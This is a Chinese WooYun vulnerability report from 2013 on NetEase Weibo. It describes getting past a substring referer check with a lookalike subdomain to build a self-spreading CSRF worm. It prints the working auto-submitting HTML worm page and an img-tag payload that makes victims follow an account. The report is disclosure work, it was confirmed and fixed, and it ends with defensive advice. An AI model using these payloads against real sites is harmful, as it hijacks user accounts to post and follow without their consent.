当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017374

漏洞标题:我是如何绕过网易防御、利用CSRF蠕虫继续刷粉丝的

相关厂商:网易

漏洞作者: 风萧萧

提交时间:2013-01-16 15:01

修复时间:2013-03-02 15:02

公开时间:2013-03-02 15:02

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-16: 细节已通知厂商并且等待厂商处理中
2013-01-17: 厂商已经确认,细节仅向厂商公开
2013-01-27: 细节向核心白帽子及相关领域专家公开
2013-02-06: 细节向普通白帽子公开
2013-02-16: 细节向实习白帽子公开
2013-03-02: 细节向公众公开

简要描述:

感谢@王小贱 @xsjswt提供的友情支持!高安全的就得交一些这样的朋友撒!

详细说明:

1.既然是CSRF蠕虫,肯定是发微博的地方出了问题!接口在这里:

POST http://t.163.com/share/retweet HTTP/1.1
Host: t.163.com
Proxy-Connection: keep-alive
Content-Length: 439
Origin: http://t.163.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: 略
status=%E6%AC%A7%E8%81%94%E5%B0%8F%E7%BB%84%E6%9C%AB%E8%BD%AE%E6%AC%A1%E6%97%A5%E7%BB%BC%E8%BF%B0%3A32%E5%BC%BA%E4%BA%A7%E7%94%9F+%E7%83%AD%E5%88%BA%E5%A4%A7%E8%83%9C%E5%87%BA%E5%B1%80http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&in_reply_to_status_id=&source=%E7%BD%91%E6%98%93%E4%BD%93%E8%82%B2&link=http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&imageUrl=&method=click&keyfrom=share163.share


2.上述链接即为发微博的另一个接口(实际上应该是转发微博),简单说下参数,status参数即为发布的微博内容,这里是必填项,我可以把csrf蠕虫的载体做为链接发在这里,欺骗用户点击!参数in_reply_to_status_id默认不填,source选填项,表示微博从哪里转发过来的,link不知,不填也木关系,method和keyfrom默认即可!
3.这里实际上是做referer判断的,即referer必须为163.com或者空,其他域不行。这意味着我是不是只能本地单机玩了啊!哈哈,经过长时间的测试,发现验证referer的正则表达式写的有问题!只是判断了域名是否包含有163.com,而不是验证根域名为163.com。那么我这里可以构造子域名t.163.com.test.av作为蠕虫传播的载体服务器,即可绕过。

漏洞证明:

4.非常感谢@xsjswt提供的子域名,我的POC在下面这个链接:

http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf.html


一并将代码拷贝如下:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<form id="fxx" name="fxx" action="http://t.163.com/share/retweet" method="POST">
<input type="text" name="status" value="缘深缘浅,路长路短,看见就好...http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf.html" />
<input type="text" name="in_reply_to_status_id" value="" />
<input type="text" name="source" value="风萧萧兮易水寒" />
<input type="text" name="link" value="http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf.html" />
<input type="text" name="imageUrl" value="" />
<input type="text" name="method" value="click" />
<input type="text" name="keyfrom" value="share163.share" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>


5.Chrome登录风萧萧吸的微博账号发布微博如下:

1.jpg


6.Firefox登录另一个网易微博账号:

2.jpg


7.受害者点击上述短链接,服务器访问如下:

3.jpg


8.再查看主页面,发布了一条同样的微博哦:

4.jpg

修复方案:

1.其实中间遇到了不少问题,referer为空可以绕过防御,所以方便了本地测试。但是原数据包纹风不动的提交可以正常发布微博的,但是放在POC里,本地提交总是返回【var updatestatus = 400】。后来才知道是编码的问题,服务器端只认UTF-8。
2.既然referer域名可以改成t.163.com.test.av是可以的,那么改成test.av/csrf.php?163.com呢,是不是可以呢?这个以后大家当做小的细节来考虑吧!
3.既然上面的蠕虫已经实现,刷粉丝就可以更容易了,在POC里加如下代码可点击即关注:

<img src=http://t.163.com/share/follow?followfrom=op.wz.gfo&keyfrom=op.wz.gfo&sitechannel=no&method=follow&screenName=【微博ID】/>


4.在防御方面,强烈建议:
关键请求还是改成post比较好!
关键请求还是加token比较好!
5.另外,不管怎样我还是来求个礼物吧!

版权声明:转载请注明来源 风萧萧@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-01-17 18:40

厂商回复:

感谢您对网易的关注,漏洞已经修复。

最新状态:

暂无